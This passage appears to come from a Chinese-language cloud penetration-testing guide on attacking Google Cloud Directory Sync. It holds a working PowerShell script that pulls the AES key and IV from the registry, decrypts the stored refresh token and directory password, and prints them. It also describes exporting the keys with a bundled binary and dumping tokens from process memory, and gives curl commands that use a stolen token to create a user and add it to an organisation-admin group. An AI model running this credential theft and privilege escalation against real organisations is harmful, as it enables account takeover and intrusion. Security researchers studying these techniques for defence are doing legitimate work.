Open the registry key

try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw “Registry key not found: HKCU$regPath” } } catch { Write-Error “Failed to open registry key: $_” exit }

Get Base64-encoded IV and Key from the registry

try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace ‘/’, ‘’ $ivBase64 = $ivBase64 -replace ‘\’, ‘/’ if (-not $ivBase64) { Throw “IV not found in registry” } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace ‘/’, ‘’ $keyBase64 = $keyBase64 -replace ‘\’, ‘/’ if (-not $keyBase64) { Throw “Key not found in registry” } } catch { Write-Error “Failed to read registry values: $_” exit } $regKey.Close()

Decode Base64 IV and Key

$ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64)

Read XML content

$xmlContent = Get-Content -Path $xmlConfigPath -Raw

Extract Base64-encoded encrypted values using regex

$refreshTokenMatch = [regex]::Match($xmlContent, “(.*?)”) $refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, “(.*?)”) $encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

Decode encrypted values from Base64

$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

Function to decrypt data using AES CBC

Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close() $memoryStream.Close()

return $plaintextBytes }

Decrypt the values

$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

Output the decrypted values

Write-Host “Decrypted Refresh Token: $refreshToken” Write-Host “Decrypted Password: $decryptedPassword”

> [!NOTE]
> 请注意，可以通过检查 **`C:\Program Files\Google Cloud Directory Sync`** 中的 **`DirSync.jar`** 的 Java 代码来检查此信息，搜索字符串 `exportkeys`（因为这是二进制文件 `upgrade-config.exe` 期望转储密钥的 CLI 参数）。

除了使用 PowerShell 脚本外，还可以使用二进制文件 **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`**，参数为 `-exportKeys`，并从注册表中以十六进制格式获取 **Key** 和 **IV**，然后只需使用一些 cyberchef 结合 AES/CBC 以及该密钥和 IV 来解密信息。

### GCDS - 从内存中转储令牌

与 GCPW 一样，可以转储 `config-manager.exe` 进程的内存（这是 GCDS 主二进制文件的名称，带有 GUI），您将能够找到刷新和访问令牌（如果它们已经生成）。\
我想您也可以找到配置的 AD 凭据。

#### 创建一个用户并将其添加到组 `gcp-organization-admins` 以尝试在 GCP 中提升权限
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'

# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example

Caution

由于刷新令牌没有足够的范围，无法将新用户赋予超级管理员角色。
